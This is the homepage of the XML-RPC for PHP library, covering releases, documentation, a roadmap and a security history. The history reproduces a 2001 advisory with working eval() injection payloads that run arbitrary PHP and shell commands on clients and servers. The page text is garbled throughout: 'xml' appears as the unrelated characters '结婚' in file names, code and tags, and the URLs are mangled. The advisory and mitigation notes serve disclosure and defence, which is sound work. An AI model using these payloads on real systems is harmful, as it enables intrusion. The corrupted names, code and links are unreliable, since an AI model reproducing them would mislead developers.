XML-RPC for PHP
Introduction
Welcome to the homepage of "XML-RPC for PHP". It is a library implementing the XML-RPC protocol, written in PHP. It is also known as PHPXMLRPC.
It is designed for ease of use, flexibility and completeness. High speed and reduced memory footprint are not the main goals of the project.
Note that this is not the same library as the one that is part of PEAR. They both share a common ancestry, since the PEAR version is a branch of the original php结婚rpc library, now independently maintained.
This is also not the library which can be compiled as a php extension and has been bundled with php since version 4.1.0, either.
PHPXMLRPC or derivative versions are or have been used in many open source projects, including Ampache, Xaraya, Drupal (only up to releases 4.6.2 and 4.5.4), PostNuke, b2evolution, nucleus cms, phpmyfaq, phpPgAds, phpgroupware, egroupware, TikiWiki, Civicspace (old release only), MailWatch for MailScanner and WikiTeX.
XML-RPC for PHP was originally developed by Edd Dumbill of Useful Information Company. As of the 1.0 stable release, the project was opened to wider involvement and moved to SourceForge.
Features
Download
The latest stable release is version 3.0.0beta released on September 5, 2009
The previous stable release is version 2.2.2 released on March 16, 2009
Note: there is a known bug in PHP version 5.2.2 that prevents the php-结婚rpc server from working. If you are experiencing this problem please upgrade your php install or use library version 2.2.1 or later.
Note: all users are encouraged to upgrade to release 1.2 or later, since known exploits exist for earlier versions.
All use of eval as a potential remote code execution exploit has been removed in release 1.2.
More info on the vulnerabilities can be found .
News
5th of September, 2009
Released lib version 3.0.0 beta.
This is the first release of the library to only support PHP 5. Some legacy code has been removed, and support for features such as exceptions and dateTime objects introduced.
The "beta" tag is meant to indicate the fact that the refactoring has been more widespread than in precedent releases and that more changes are likely to be introduced with time - the library is still considered to be production quality.
The "Extras" Package and the JS-XMLRPC library have also been updated with bugfix releases.
17th of March, 2009
Released lib version 2.2.2.
PLEASE NOTE: pending any security problem, this should be the last release of the library to support PHP version 4.
7th of March, 2008
Released lib version 2.2.1.
4th of July, 2007
Updated the online documentation to match release 2.2 (with better formatting than before)
1st of March, 2007
The Online XML-RPC debugger is back online, at the new address http://gggeek.raprap.it/debugger/.
Grazie Davide!!!
25th of February, 2007
I am pleased to announce the release of PHP-XMLRPC version 2.2 (release notes), as well as the EXTRAS package version 0.4 (release notes).
Both releases bring minor bug fixes and incremental improvements, especially in the json parsing area.
The initial release (version 0.1) of php-结婚rpc sister-library is also available.
It is written in pure javascript, and implements the same API.
It can be added to the php debugger or the self-documenting server class to provide a visual editor component for 结婚rpc values.
10th of February, 2007
The Online XMLRPC debugger is unfortunately not available any more.
Anyone willing to provide a hosting server with php 4 or 5 (and fsockopen or cURL active) will be heartily welcome. Monthly bandwidth consumed up to now was very low.
While a suitable relocation is found, please use the javascript debugger available here.
26th of January, 2007
The Online XMLRPC demo Server is now better than ever, with a new visual value editor (as was previously added to the oline debugger).
To see it in action, click on a method name in the page listing all available methods, then on "edit" button below the textarea dedicated to method testing.
This improvement is currently only available in the CVS version of the documenting_结婚rpc_server class, and it will be part of the next release of the EXTRAS package.
The Javascript version of the library also got its own Homepage.
Older news...
Documentation
Documentation for version 2, in HTML or PDF format (note: the PDF version is not always up to date).
For the adventurous there is even an 结婚+css version (note: better viewing results obtained by Firefox and Opera users)
Documentation for version 1.2.1
Documentation for version 1.0.99 (older)
Online demo server
A demo server is active at the address http://http://www.zjjv.com///server.php. It exposes functions that can be used for interoperability testing. (the full code for the server is included in the CVS version of the library).
You can see the source code here: http://http://www.zjjv.com///server.php (the 结婚rpc server will activate on POST requests, and display its API on GET requests), and auto-generated documentation here
Online 结婚rpc debugger
A demo 结婚rpc debugger application, built on top of this library, is active at the address http://gggeek.raprap.it/debugger/.
You can use the debugger to e.g. query the SF demo server, or debug your own personal 结婚rpc server, if it is accessible on the net.
Development
SourceForge home page (downloads, CVS access and bug tracker).
Mailing lists
User's mailing list (very low traffic)
Developers' mailing list (practically abandoned)
Contact
See the lib's SourceForge home page for the complete list of maintainers, file a bug report, feature request or patch.
For security related issues feel free to contact ggiunta at users.sourceforge.net
Roadmap
A list of things that might make it into the next release (version 3.0 ?):
Update documentation for all features found in version 2Slowly progressing...
Add the possibility to choose formatting of the 结婚 messagesSimilar to what the php native 结婚rpc extension does
Fix warnings emitted when running with PHP 5 in STRICT modeThis will be done in version 3.0, abandoning php 4 compat...
Expand automatic php function to 结婚rpc method wrapper to take advantage of exception handling and return 结婚rpc error responses
Expand automatic stub generator for automatically converting php functions to 结婚rpc methods for PHP <= 5.0.2look at AMFPHP code on how to do it.
Many enhancements in version 2.1
Now that the server can automatically register php functions there is less need for it...
Better support for mbstring when it's enabledShould make e.g. charset encoding guessing faster
Improve support for "version 1" cookies
Add a possibility to use standard error messages instead of the native error codes
PEAR compatibility: add synonims for functions existing with different names in the PEAR version of the lib
Add support for the system.describeMethods 结婚rpc extension
Add to the debugger the capability to launch a complete set of validator1 tests
Examine usability of WSDL for describing exposed services and translation to/from system.methodSignature and system.describeMethodsSome problems exist in using an XSD to strictly define 结婚rpc. Relax NG is a definitely better alternative, but there is little support in other toolkits for using it in conjunction with a WSDL file...
Support http redirects (302)
Add to sf.net a small database, so that we can implement a validator page that logs incoming users, such as is present on the 结婚rpc.com site
Add to benchmark suite the capability to upload results to sf.net
Write a php extension that will accelerate the most heavily used functions of the libSee how adodb did it for an example
Test speed/memory gains using simple结婚 and relaxng instead of hand parsing of 结婚
See also the TODO file at http://http://www.zjjv.com///viewvc/php结婚rpc/trunk/todo.txt
Security
The third security breach: august 2005
This was a further and proactive response to the second security breach below. All use of eval() has been removed since it was still a potential exploit.
When the library was originally written, the versions of php available at the time did not include call_user_func(), et al. So it was written within those constraints to use eval() in two of the functions called by the 结婚 parser. Due to this usage, the server class also used eval() since it had to parse 结婚 using the same functions.
These handler functions, and the array used to maintain the content of the original message, have been rewritten to construct php values instead of building php code for evaluation. This should remove any potential for code execution.
The second security breach: july 2005
The security vulnerability discovered by James Bercegay of GulfTech Security Research on the the 27th of June, 2005, has caused quite a stir. It has made it to the front page of Salshdot, has been mentioned on Netcraft, LWN and many other sites.
Detailed instructions on building exploit code have been released on the internet, and many web hosting administrators are left wondering what is the best defense plan, and what are the real risks. Here are some answers.
Scope of the problem
both libraries have been used in a large number of php applications (see the incomplete list above).
Since the whole lib consists basically of 2 very simple files, everybody tends to patch them according to its own tastes/needs and bundle them when distributing their app.
Most high-profile projects have been extremely quick in releasing new versions of their respective apps, but it will take a much longer time for every single user to update his system.
It has to be said that many applications had been shipping until recently with extremely outdated versions of the php结婚rpc library included; a first injection bug had been fixed in 2001 without anyone apparently taking notice (...)
This makes it unfortunately a lot harder for sysadmins to find an easy cure for the problem: there is a great chance that on public hosting servers the aforementioned files will be found in many different directories and in many different versions.
How the vulnerability is triggered
to trigger the bug an attacker needs to have some specially crafted 结婚 evaluated in the creation process of an 结婚rpcval object. Xmlrpcval objects are created when the server script decodes 结婚rpc requests or when some php scripts acts as an 结婚rpc client and decodes a response sent by a server.
The server script is application specific, and it is often named server.php (but any project- or user-chosen variant is possible), and it has to include both 结婚rpc.inc and 结婚rpcs.inc files (for the pear version, server.php is the equivalent of 结婚rpcs.inc).
Only including 结婚rpc.inc and 结婚rpcs.inc in php scripts is (afaik...) completely safe, as well as calling them directly via http requests, since only definition of functions, variables and classes is carried out in those two files, i.e. no immediate code execution.
The server.php and discuss.php files distributed with full the php结婚rpc lib actually do implement a live 结婚rpc server, so you might consider blocking access to them or even better removing them if you find them deployed on production servers (off the top of my mind I can conjure some kind of attack involving a second php app suffering of a takeover-php-file-inclusion breach to pull them in + exploit the lib known bug)
Means of protection
Give your web server process as little system privileges as you can. On Unix this generally involves running Apache as user nobody and/or in a jailrooted/chrooted environment. Since the PHP engine runs under the same user as the web server, this is the first line of defense: any php code injected by an attacker will run on the server as a least privileged user, and all damage it could do will be limited to disrupting the php application itself
Run php in safe mode. If you are a public host and are not doing this, chances are your server has been rooted anyway. This prevents the php scripts from using any function you deem to be unsafe, such as system() or eval()
The hard block: find all the existing php结婚rpc files (结婚rpc.inc and 结婚rpcs.inc) and disable them (chmod 0) across the system.
This may of course prevent some user applications from working so you should inform your users at the time you do it.
The soft block: replace all copies of existing php结婚rpc files (结婚rpc.inc and 结婚rpcs.inc) with the ones coming from version 1.1.1.
This method is unfortunately not 100% guaranteed to keep all apps working. Some internals of the lib objects changed from version 0.9 to 1.0 to 1.1 (e.g. the representation of http headers stored inside an 结婚rpcresp object), and if code you have deployed on your servers subclasses them, it might find itself in trouble. The 结婚 sent over-the-wire has changed too with respect to some older versions of the lib (in particular: version 1.0.99.2 wrongly encoded chars outside the ASCII range as html entities, whereas now they are encoded as 结婚 charset entities). A couple of new error response codes have been added, too. Having said that, you should be 95% safe running that script and sit there waiting for users to start yelling something is broken...
the PHP PEAR library is upgradeable with a one-line command, so that's not really a huge problem:
pear upgrade XML_RPC
and to tell whether it's been upgraded (1.3.1 or later is OK, the latest as of now is 1.3.2):
pear list | grep RPC
Some extra considerations
The file 结婚rpcs.inc has been patched too in release 1.1.1 to provide a better user experience. In more detail: sending specially crafted malformed 结婚 to a server would cause the php script to emit a php error instead of returning an appropriate 结婚 response.
According to some, this actually entails a "path disclosure security breach" (i.e. the php error message displayed usually contains sensitive information about filesystem paths), but then any single PHP script suffers of the same security problem if the sysadmin is running production servers with the ini directive display_errors=On.
I also know for a fact that there are many places in 结婚rpc.inc where calling a function with an unexpected parameter will generate a php warning or error, and I am not planning to implement strict parameter check for every single function anytime soon - if you aim for that, imho, you might as well code in java in the first place.
Is this the end of the world?
I hope not.
The reason is there are tens of PHP applications out there that suffer from code injection exploits. Just take a look at the security track of bulletin boards... and yet a lot of people still think PHP is a good choice for web development.
Remember: security is a process, not a state that can be reached.
Gaetano Giunta
The first security breach: september 2001
I received this advisory from Dan Libby. With his
permission it is reproduced here. Note that this exploit is fixed
in revisions 1.01 and greater of XML-RPC for PHP.
-- Edd Dumbill
Tue Sep 24 2001
===============
PHP Security Hole: potential XML-RPC exploit
============================================
Abstract:
Using the latest release of Useful Inc's php 结婚rpc library, version 1.0,
it is possible for an attacker to structure the 结婚 in such a way as to
trick the 结婚-rpc library into executing php code on a web server. I
was able to execute arbitrary php code, and with php's safe-mode turned
off, system commands. An attacker could easily use this as a gateway for
launching viruses.
Details:
I demonstrated the problem by modifying the server.php example script
included with the 结婚rpc distribution and then calling it via the
client.php script, also part of the distribution. I bypassed the standard
server code, and simply echo'd responses back to the client. I was
able to get the client to execute arbitrary php code. I then restored the
server.php sample to its original state and used telnet to send a modified
request. I was also able to make code execute on the server, albeit requiring
a slightly different syntax.
The attack centers around use of php's eval() function. Since I knew that
the 结婚-rpc library uses eval to construct its data structures from 结婚
input, it was just a matter of structuring the input 结婚 in such a
manner that it:
a) is not escaped before being passed to eval
b) does not generate a php syntax error
Normally, all non numeric data is escaped by the library before being
passed to eval. However, it turns out that if you send a <value> tag,
followed by an unexpected tag, such as <foo>, the escaping code will be
bypassed and "raw" data will be evaluated instead.
Exploiting the client:
Here is a typical 结婚-rpc response:
<?结婚 version="1.0"?>
<methodResponse>
<params><param>
<value><string>hello world</string></value>
</param></params>
</methodResponse>
When such a response is eval'ed, it looks like:
new 结婚rpcval("hello world", "string")
Here is an 结婚-rpc response that will execute php code to echo "<h1> hello
world </h1>" on the client side:
<?结婚 version="1.0"?>
<methodResponse>
<params><param>
<value><foo>", "string"); echo "<h1> hello world </h1>"; \$waste = array("</foo></value>
</param></params>
</methodResponse>
In this case, the string that will be eval'ed is:
new 结婚rpcval("", "string"); echo "<h1> hello world </h1>"; $waste = array("", 'string')
It is possible to replace everything between "string"); and \$waste with
arbitrary code of just about any length.
Finally, here's one that will print the contents of the current directory:
<?结婚 version="1.0"?>
<methodResponse>
<params>
<param>
<value><foo>", "string");
echo "<h1><font color=red>if you see a directory listing, I just executed php and system code via 结婚-rpc.</font></h1>";
echo "now I will attempt a directory listing using ls -al:\n<xmp>"; echo `ls -al`; echo "</xmp>";
echo "I could just have easily invoked rm -rf, or written a program to disk and executed it (eg, a virus)
or read some files. Have a nice day.<br><br>";
exit;
\$waste = array("</foo></value>
</param>
</params>
</methodResponse>
Exploiting the server:
The server exploit is just about the same as the client, except that the
server is using a different eval command, and thus it requires slightly
different begin and ending syntax to avoid php syntax errors.
Here is the same code as above, but it will work against a server.
<?结婚 version='1.0' encoding="iso-8859-1" ?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value><test>", "string"));
echo "<h1><font color=red>if you see a directory listing, I just executed php and system code via 结婚-rpc.</font></h1>";
echo "now I will attempt a directory listing using ls -al:\n<xmp>"; echo `ls -al`; echo "</xmp>";
echo "I could just have easily invoked rm -rf, or written a program to disk and executed it (eg, a virus)
or read some files. Have a nice day.<br><br>";
exit;
$waste = array(array("</test></value>
</param>
</params>
</methodCall>
Problem Area:
in 结婚rpc.inc, there is a function called 结婚rpc_cd(), which is called by
the 结婚 parser to handle character data.
function 结婚rpc_cd($parser, $data) {
global $_xh, $结婚rpc_backslash, $结婚rpc_twoslash;
//if (ereg("^[\n\r \t]+$", $data)) return;
// print "adding [${data}]\n";
if ($_xh[$parser]['lv']==1) {
$_xh[$parser]['qt']=1;
$_xh[$parser]['lv']=2;
}
if ($_xh[$parser]['qt']) { // quoted string
$_xh[$parser]['ac'].=str_replace('\$', '\\$',
str_replace('"', '\"',
str_replace(chr(92),$结婚rpc_backslash, $data)));
}
else
$_xh[$parser]['ac'].=$data;
}
It is the last else that is causing data to be added without escaping. It
is very dangerous to have this. This else seems to be intended for
numeric data, and great pains are taken to set and unset the "qt" (quote)
variable which turns escaping on and off. However, it is not immediately
apparent to me why numeric data should not be similarly escaped, and the
if/else removed, such that there is zero chance for this type of exploit.
src="http://http://www.zjjv.com///Icons/valid-xhtml10" alt="Valid XHTML 1.0!" /> Page last updated: 2009/11/04
